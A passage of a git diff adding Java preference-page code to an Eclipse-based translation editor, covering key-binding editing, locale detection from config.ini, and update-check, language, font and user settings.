lstConflict.clear(); + // } + // // if (event.getSource() == keyController.getConflictModel() + // // && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + // // if (keyController.getConflictModel().getConflicts() != null) { + // // Object newVal = event.getNewValue(); + // // StructuredSelection structuredSelection = newVal == null ? null : new StructuredSelection( + // // newVal); + // // // conflictViewer.setSelection(structuredSelection, true); + // // } + // // } else if (ConflictModel.PROP_CONFLICTS.equals(event.getProperty())) { + // // // lstConflict.clear(); + // // if (event.getNewValue() != null) { + // // lstConflict.addAll((Collection) event.getNewValue()); + // // } + // // // conflictViewer.setInput(event.getNewValue()); + // // } else if (ConflictModel.PROP_CONFLICTS_ADD.equals(event.getProperty())) { + // // if (event.getNewValue() != null) { + // // lstConflict.clear(); + // // lstConflict.add(event.getNewValue()); + // // } + // // // conflictViewer.add(event.getNewValue()); + // // } else if (ConflictModel.PROP_CONFLICTS_REMOVE.equals(event.getProperty())) { + // // // conflictViewer.remove(event.getNewValue()); + // // if (event.getNewValue() != null) { + // // lstConflict.clear(); + // // lstConflict.remove(event.getNewValue()); + // // } + // // } + // } + // }; + // keyController.addPropertyChangeListener(conflictsListener); + + IPropertyChangeListener dataUpdateListener = new IPropertyChangeListener() { + + public void propertyChange(PropertyChangeEvent event) { + BindingElement bindingElement = null; + boolean weCare = false; + if (event.getSource() == model + && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + bindingElement = (BindingElement) event.getNewValue(); + weCare = true; + } else if (event.getSource() == model.getSelectedElement() + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + bindingElement = (BindingElement) event.getSource(); + weCare = true; + } + if (bindingElement == null && weCare) { + fBindingText.setText(""); //$NON-NLS-1$ + } else if (bindingElement != null) { + KeySequence trigger = (KeySequence) bindingElement.getTrigger(); + fKeySequenceText.setKeySequence(trigger); + } + } + }; + keyController.addPropertyChangeListener(dataUpdateListener); + } + + List lstConflict = new ArrayList(); + + Text fBindingText; + + class TableViewerEditingSupport extends EditingSupport { + + int column; + private TreeViewer columnViewer; + private CellEditor editor; + + public TableViewerEditingSupport(ColumnViewer viewers, int column) { + super(viewers); + this.columnViewer = (TreeViewer) viewers; + if (column == 1) { + editor = new TextCellEditor(columnViewer.getTree(), SWT.SINGLE | SWT.BORDER) { + protected Control createControl(Composite parent) { + super.createControl(parent); + fBindingText = text; + text.addFocusListener(new FocusListener() { + public void focusGained(FocusEvent e) { + fBindingService.setKeyFilterEnabled(false); + } + + public void focusLost(FocusEvent e) { + fBindingService.setKeyFilterEnabled(true); + } + }); + text.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + if (!fBindingService.isKeyFilterEnabled()) { + fBindingService.setKeyFilterEnabled(true); + } + } + }); + fKeySequenceText = new KeySequenceText(text); + fKeySequenceText.setKeyStrokeLimit(1); + fKeySequenceText.addPropertyChangeListener(new IPropertyChangeListener() { + public final void propertyChange(final PropertyChangeEvent event) { + if (!event.getOldValue().equals(event.getNewValue())) { + final KeySequence keySequence = fKeySequenceText.getKeySequence(); + if (!keySequence.isComplete()) { + return; + } + // BindingElement activeBinding = (BindingElement) + // model.getSelectedElement(); + // if (activeBinding != null) { + // activeBinding.setTrigger(keySequence); + // } + // changeBackground(); + text.setSelection(0, text.getText().length()); + // isValid(); + } + } + }); + return text; + } + + }; + } + this.column = column; + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return editor; + } + + @Override + protected Object getValue(Object element) { + // System.out.println(element); + BindingElement bindingElement = ((BindingElement) element); + TriggerSequence seq = bindingElement.getTrigger(); + return seq == null ? Util.ZERO_LENGTH_STRING : seq.format(); + } + + @Override + protected void setValue(Object element, Object value) { + if (column == 1) { + // BindingElement activeBinding = (BindingElement) model.getSelectedElement(); + BindingElement activeBinding = (BindingElement) element; + if (activeBinding != null) { + KeySequence keySequence = fKeySequenceText.getKeySequence(); +// Bug #2740 + if (keySequence == null || !keySequence.toString().endsWith("+")) { + activeBinding.setTrigger(keySequence); + } + } + changeBackground(); + // isValid(); + } + } + } + + public boolean validateConflict() { + for (TreeItem item : viewer.getTree().getItems()) { + BindingElement element = (BindingElement) item.getData(); + if (element.getConflict()) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.KeysPreferencePage.msgTitle"), + Messages.getString("preferencepage.KeysPreferencePage.msg")); + // setValid(false); + return false; + } + } + // setValid(true); + return true; + } + + public void applyData(Object data) { + // if (!validate()) { + // return; + // } + if (data instanceof ModelElement) { + model.setSelectedElement((ModelElement) data); + } + if (data instanceof Binding && fFilteredTree != null) { + BindingElement be = (BindingElement) model.getBindingToElement().get(data); + fFilteredTree.getViewer().setSelection(new StructuredSelection(be), true); + } + if (data instanceof ParameterizedCommand) { + Map commandToElement = model.getCommandToElement(); + + BindingElement be = (BindingElement) commandToElement.get(data); + if (be != null) { + fFilteredTree.getViewer().setSelection(new StructuredSelection(be), true); + } + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.preference.PreferencePage#performOk() + */ + public boolean performOk() { + if (!validateConflict()) { + return false; + } + keyController.saveBindings(fBindingService); + saveState(getDialogSettings()); + return super.performOk(); + } + + /** + * Save the state of the receiver. + * @param dialogSettings + */ + public void saveState(IDialogSettings dialogSettings) { + if (dialogSettings == null) { + return; + } + dialogSettings.put(TAG_FILTER_ACTION_SETS, fFilterActionSetContexts); + dialogSettings.put(TAG_FILTER_INTERNAL, fFilterInternalContexts); + dialogSettings.put(TAG_FILTER_UNCAT, fFilteredTree.isFilteringCategories()); + } + + protected IDialogSettings getDialogSettings() { + IDialogSettings workbenchSettings = WorkbenchPlugin.getDefault().getDialogSettings(); + + IDialogSettings settings = workbenchSettings.getSection(TAG_DIALOG_SECTION); + + if (settings == null) { + settings = workbenchSettings.addNewSection(TAG_DIALOG_SECTION); + } + return settings; + } + + protected void performDefaults() { + + // Ask the user to confirm + final String title = NewKeysPreferenceMessages.RestoreDefaultsMessageBoxText; + final String message = NewKeysPreferenceMessages.RestoreDefaultsMessageBoxMessage; + final boolean confirmed = MessageDialog.open(MessageDialog.CONFIRM, getShell(), title, message, SWT.SHEET); + + if (confirmed) { + long startTime = 0L; + if (DEBUG) { + startTime = System.currentTimeMillis(); + } + + fFilteredTree.setRedraw(false); + BusyIndicator.showWhile(fFilteredTree.getViewer().getTree().getDisplay(), new Runnable() { + public void run() { + try { + keyController.setDefaultBindings(fBindingService, lstRemove); + } catch (NotDefinedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + }); + fFilteredTree.setRedraw(true); + if (DEBUG) { + final long elapsedTime = System.currentTimeMillis() - startTime; + Tracing.printTrace(TRACING_COMPONENT, "performDefaults:model in " //$NON-NLS-1$ + + elapsedTime + "ms"); //$NON-NLS-1$ + } + } + + super.performDefaults(); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferenceInitializer.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferenceInitializer.java new file mode 100644 index 0000000..9cb5f03 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferenceInitializer.java @@ -0,0 +1,94 @@ +package net.heartsome.cat.te.ui.preferencepage.system; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.graphics.FontData; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 首选项的系统项设置默认值的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class SystemPreferenceInitializer extends AbstractPreferenceInitializer { + + private static final Logger LOGGER = LoggerFactory.getLogger(SystemPreferenceInitializer.class); + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(IPreferenceConstants.SYSTEM_AUTO_UPDATE, IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY); + store.setDefault(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE, 2); + store.setDefault(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + // 默认语言从产å“çš„ ini 文件中å–值 + Location configArea = Platform.getInstallLocation(); + String locale = "en"; + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + LOGGER.error(Messages.getString("preferencepage.SystemPreferenceInitializer.logger1"), e); + } + + try { + String fileName = location.getFile(); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + boolean isNl = false; + String line = in.readLine(); + while (line != null) { + if (line.startsWith("osgi.nl=")) { + isNl = true; + locale = line.substring("osgi.nl=".length()).trim(); + break; + } + line = in.readLine(); + } + in.close(); + if (!isNl) { + locale = "en"; + } + } catch (FileNotFoundException e) { +// LOGGER.error(Messages.getString("preferencepage.SystemPreferenceInitializer.logger1"), e); + } catch (IOException e) { +// LOGGER.error("", e); + } + if (locale != null) { + if (locale.startsWith("en")) { + CommonFunction.setSystemLanguage("en"); + store.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + } else if (locale.startsWith("zh")) { + CommonFunction.setSystemLanguage("zh"); + store.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN); + } + } + store.setDefault(IPreferenceConstants.SYSTEM_USER, System.getProperty("user.name")); + + FontData fd = JFaceResources.getDefaultFont().getFontData()[0]; + store.setDefault(IPreferenceConstants.TMX_EDITOR_FONT_NAME, fd.getName()); + int fontSize = fd.getHeight(); + store.setDefault(IPreferenceConstants.TMX_EDITOR_FONT_SIZE, fontSize < 13 ? 13 : fontSize); + + + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferencePage.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferencePage.java new file mode 100644 index 0000000..838accc --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/system/SystemPreferencePage.java @@ -0,0 +1,554 @@ +package net.heartsome.cat.te.ui.preferencepage.system; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; + +import net.heartsome.cat.common.ui.HSFontSettingComposite; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.Constants; +import net.heartsome.cat.te.ui.ImageConstants; +import net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; + +/** + * é¦–é€‰é¡¹çš„ç³»ç»Ÿç•Œé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class SystemPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage"; + + private IPreferenceStore preferenceStore; + + /** å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithStartup; + + /** æ¯æœˆæ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithMonthly; + + /** æ¯å‘¨æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithWeekly; + + /** 从ä¸æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithNever; + + /** 日期选择按钮 */ + private Spinner selectDateSpi; + + /** 星期选择按钮 */ + private Combo cmbSelectWeek; + + /** 用户界é¢è¯­è¨€ > 英文å•é€‰æŒ‰é’® */ + private Button btnLanguageWithEN; + + /** 用户界é¢è¯­è¨€ > 中文å•é€‰æŒ‰é’® */ + private Button btnLanguageWithZHCN; + + /** 系统用户文本框 */ + private Text txtSystemUser; + + private HSFontSettingComposite editorFontSetting; + //private HSFontSettingComposite matchViewFontSetting; + + /** 组件是å¦åˆå§‹åŒ– --robert */ + private boolean isInit = false; + + private Composite cmpMonthly; + + private Composite cmpWeekly; + + private String[] arrWeek = new String[] { Messages.getString("preferencepage.SystemPreferencePage.Sun"), + Messages.getString("preferencepage.SystemPreferencePage.Mon"), + Messages.getString("preferencepage.SystemPreferencePage.Tue"), + Messages.getString("preferencepage.SystemPreferencePage.Wed"), + Messages.getString("preferencepage.SystemPreferencePage.Thu"), + Messages.getString("preferencepage.SystemPreferencePage.Fri"), + Messages.getString("preferencepage.SystemPreferencePage.Sat"), }; + + /** åˆå§‹è¯­è¨€ */ + private int initLang; + + /** + * 构造函数 + */ + public SystemPreferencePage() { + setTitle(Messages.getString("preferencepage.SystemPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupCommon = new Group(tparent, SWT.NONE); + groupCommon.setLayout(new GridLayout()); + groupCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupCommon.setText(Messages.getString("preferencepage.SystemPreferencePage.groupCommon")); + + HsImageLabel imageLabel1 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel1"), + Activator.getImageDescriptor(ImageConstants.PREFERENCE_SYS_UPDATE)); + Composite cmpCommon = imageLabel1.createControl(groupCommon); + cmpCommon.setLayout(new GridLayout()); + cmpCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnCheckUpdateWithStartup = new Button(cmpCommon, SWT.RADIO); + btnCheckUpdateWithStartup.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup")); + GridDataFactory.fillDefaults().applyTo(btnCheckUpdateWithStartup); + btnCheckUpdateWithStartup.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (btnCheckUpdateWithStartup.getSelection()) { + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + selectDateSpi.setEnabled(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + cmpMonthly = new Composite(cmpCommon, SWT.None); + GridLayoutFactory.swtDefaults().numColumns(3).equalWidth(false).margins(0, 0).spacing(0, 0).applyTo(cmpMonthly); + cmpMonthly.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCheckUpdateWithMonthly = new Button(cmpMonthly, SWT.RADIO); + btnCheckUpdateWithMonthly.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1")); + GridData spinnaData = new GridData(); + spinnaData.widthHint = 20; + selectDateSpi = new Spinner(cmpMonthly, SWT.BORDER); + selectDateSpi.setMinimum(1); + selectDateSpi.setMaximum(31); + selectDateSpi.setTextLimit(2); + selectDateSpi.setEnabled(false); + selectDateSpi.setLayoutData(spinnaData); + selectDateSpi.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String text = selectDateSpi.getText(); + if (text != null && !text.trim().equals("")) { + if (Integer.parseInt(text.trim()) > 31) { + selectDateSpi.setSelection(31); + } else if (Integer.parseInt(text.trim()) < 1) { + selectDateSpi.setSelection(1); + } + } + } + }); + new Label(cmpMonthly, SWT.None).setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2")); + btnCheckUpdateWithMonthly.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + selectDateSpi.setEnabled(btnCheckUpdateWithMonthly.getSelection()); + if (btnCheckUpdateWithMonthly.getSelection()) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + cmpWeekly = new Composite(cmpCommon, SWT.None); + GridLayoutFactory.swtDefaults().numColumns(3).equalWidth(false).margins(0, 0).spacing(0, 0).applyTo(cmpWeekly); + cmpWeekly.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCheckUpdateWithWeekly = new Button(cmpWeekly, SWT.RADIO); + btnCheckUpdateWithWeekly.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1")); + cmbSelectWeek = new Combo(cmpWeekly, SWT.READ_ONLY); + cmbSelectWeek.setItems(arrWeek); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + GridDataFactory.swtDefaults().applyTo(cmbSelectWeek); + new Label(cmpWeekly, SWT.NONE).setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2")); + btnCheckUpdateWithWeekly.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + cmbSelectWeek.setEnabled(btnCheckUpdateWithWeekly.getSelection()); + if (btnCheckUpdateWithWeekly.getSelection()) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + selectDateSpi.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + btnCheckUpdateWithNever = new Button(cmpCommon, SWT.RADIO); + btnCheckUpdateWithNever.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithNever")); + btnCheckUpdateWithNever.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridDataFactory.fillDefaults().applyTo(btnCheckUpdateWithNever); + btnCheckUpdateWithNever.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (btnCheckUpdateWithNever.getSelection()) { + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithStartup.setSelection(false); + selectDateSpi.setEnabled(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Group groupLanguage = new Group(tparent, SWT.NONE); + groupLanguage.setLayout(new GridLayout()); + groupLanguage.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupLanguage.setText(Messages.getString("preferencepage.SystemPreferencePage.groupLanguage")); + + HsImageLabel imageLabel2 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel3"), + + Activator.getImageDescriptor(ImageConstants.PREFERENCE_SYS_LANGUAGE)); + Composite cmpLang = imageLabel2.createControl(groupLanguage); + cmpLang.setLayout(new GridLayout()); + cmpLang.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnLanguageWithEN = new Button(cmpLang, SWT.RADIO); + btnLanguageWithEN.setText(Messages.getString("preferencepage.SystemPreferencePage.btnLanguageWithEN")); + btnLanguageWithEN.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnLanguageWithZHCN = new Button(cmpLang, SWT.RADIO); + btnLanguageWithZHCN.setText(Messages.getString("preferencepage.SystemPreferencePage.btnLanguageWithZHCN")); + btnLanguageWithZHCN.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Group groupFont = new Group(tparent, SWT.NONE); + groupFont.setLayout(new GridLayout()); + groupFont.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupFont.setText(Messages.getString("preferencepage.SystemPreferencePage.groupFont")); + HsImageLabel imageLabel4 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.groupFont.desc"), + Activator.getImageDescriptor("images/preference/system/font.png")); + Composite cmpFont = imageLabel4.createControl(groupFont); + GridLayout cmpFontGl = new GridLayout(1, true); + cmpFontGl.marginLeft = 0; + cmpFontGl.marginRight = 0; + cmpFontGl.marginTop = 0; + cmpFontGl.marginBottom = 0; + cmpFontGl.marginWidth = 0; + cmpFontGl.marginHeight = 0; + cmpFont.setLayout(cmpFontGl); + GridData cmpFontGd = new GridData(SWT.FILL, SWT.FILL, true, true); + cmpFont.setLayoutData(cmpFontGd); + + editorFontSetting = new HSFontSettingComposite(cmpFont, SWT.NONE, + ""/*Messages.getString("preferencepage.fontsetting.editor.title")*/); + GridData gd = new GridData(SWT.FILL, SWT.FILL, true, true); + editorFontSetting.setLayoutData(gd); +//TODO +// matchViewFontSetting = new HSFontSettingComposite(cmpFont, SWT.NONE, +// Messages.getString("preferencepage.fontsetting.matchView.title")); +// matchViewFontSetting.setLayoutData(gd); + + Group groupSystemUser = new Group(tparent, SWT.NONE); + groupSystemUser.setLayout(new GridLayout()); + groupSystemUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupSystemUser.setText(Messages.getString("preferencepage.SystemPreferencePage.groupSystemUser")); + + HsImageLabel imageLabel3 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel4"), + Activator.getImageDescriptor(ImageConstants.PREFERENCE_SYS_USER)); + Composite cmpUser = imageLabel3.createControl(groupSystemUser); + cmpUser.setLayout(new GridLayout(2, false)); + cmpUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + new Label(cmpUser, SWT.NONE).setText(Messages.getString("preferencepage.SystemPreferencePage.lblUser")); + + txtSystemUser = new Text(cmpUser, SWT.BORDER); + txtSystemUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + imageLabel1.computeSize(); + imageLabel2.computeSize(); + imageLabel3.computeSize(); + imageLabel4.computeSize(); + setInitValues(false); + return parent; + } + + @Override + protected void performDefaults() { + setInitValues(true); + } + + /** + * ä¿®æ”¹äº§å“ ini 文件中的语言 + */ + private void changeLocale(String locale) { + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + return; + } + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + } + // System.out.println("LanguageSwitchHandler.loadConfigurationInfo(): " + // + location); + + try { + String fileName = location.getFile(); + File file = new File(fileName); + fileName += ".bak"; + file.renameTo(new File(fileName)); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + BufferedWriter out = new BufferedWriter(new FileWriter(location.getFile())); + try { + String line = in.readLine(); + while (line != null) { + if (line.startsWith("osgi.nl=")) { + out.write("osgi.nl=" + locale); + } else { + out.write(line); + } + out.newLine(); + line = in.readLine(); + } + out.flush(); + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (out != null) { + try { + out.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + File tmpFile = new File(location.getFile() + ".bak"); + if (tmpFile.exists()) { + tmpFile.delete(); + } + } + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + if (btnCheckUpdateWithStartup.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP); + } else if (btnCheckUpdateWithMonthly.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY); + preferenceStore.setValue(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE, + selectDateSpi.getSelection()); + } else if (btnCheckUpdateWithWeekly.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY); + preferenceStore.setValue(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE, + cmbSelectWeek.getSelectionIndex() + 1); + } else if (btnCheckUpdateWithNever.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER); + } + + String newUser = txtSystemUser.getText(); + if(newUser != null && newUser.length() != 0){ + preferenceStore.setValue(IPreferenceConstants.SYSTEM_USER, newUser); + System.setProperty("user.name", newUser); + } + + if (btnLanguageWithEN.getSelection()) { + preferenceStore + .setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + CommonFunction.setSystemLanguage("en"); + if (initLang != IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN) { + changeLocale("en"); + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.SystemPreferencePage.msgTitle"), + Messages.getString("preferencepage.SystemPreferencePage.msgInfo"))) { + PlatformUI.getWorkbench().restart(); + } + } + } else if (btnLanguageWithZHCN.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, + IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN); + CommonFunction.setSystemLanguage("zh"); + if (initLang != IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN) { + changeLocale("zh"); + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.SystemPreferencePage.msgTitle"), + Messages.getString("preferencepage.SystemPreferencePage.msgInfo"))) { + PlatformUI.getWorkbench().restart(); + } + } + } + + FontData[] fontData = editorFontSetting.getFontSetingFont(); + JFaceResources.getFontRegistry().put(Constants.TMX_EDITOR_TEXT_FONT, fontData); + preferenceStore.setValue(IPreferenceConstants.TMX_EDITOR_FONT_NAME, fontData[0].getName()); + preferenceStore.setValue(IPreferenceConstants.TMX_EDITOR_FONT_SIZE, fontData[0].getHeight()); + return true; + } + + /** + * 对控件设置值 + * @param blnIsApplyDefault + * ; + */ + private void setInitValues(boolean blnIsApplyDefault) { + int intAutoUpdate; + int intLanguage; + String strSystemUser; + String strEditorFontName; + int intEdutorFontSize; + if (blnIsApplyDefault) { + intAutoUpdate = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + intLanguage = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_LANGUAGE); + strSystemUser = preferenceStore.getDefaultString(IPreferenceConstants.SYSTEM_USER); + strEditorFontName = preferenceStore.getDefaultString(IPreferenceConstants.TMX_EDITOR_FONT_NAME); + intEdutorFontSize = preferenceStore.getDefaultInt(IPreferenceConstants.TMX_EDITOR_FONT_SIZE); + } else { + intAutoUpdate = preferenceStore.getInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + intLanguage = preferenceStore.getInt(IPreferenceConstants.SYSTEM_LANGUAGE); + initLang = intLanguage; + strSystemUser = preferenceStore.getString(IPreferenceConstants.SYSTEM_USER); + strEditorFontName = preferenceStore.getString(IPreferenceConstants.TMX_EDITOR_FONT_NAME); + intEdutorFontSize = preferenceStore.getInt(IPreferenceConstants.TMX_EDITOR_FONT_SIZE); + } + if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP) { + btnCheckUpdateWithStartup.setSelection(true); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + selectDateSpi.setSelection(1); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(false); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(true); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(false); + int selDate; + if 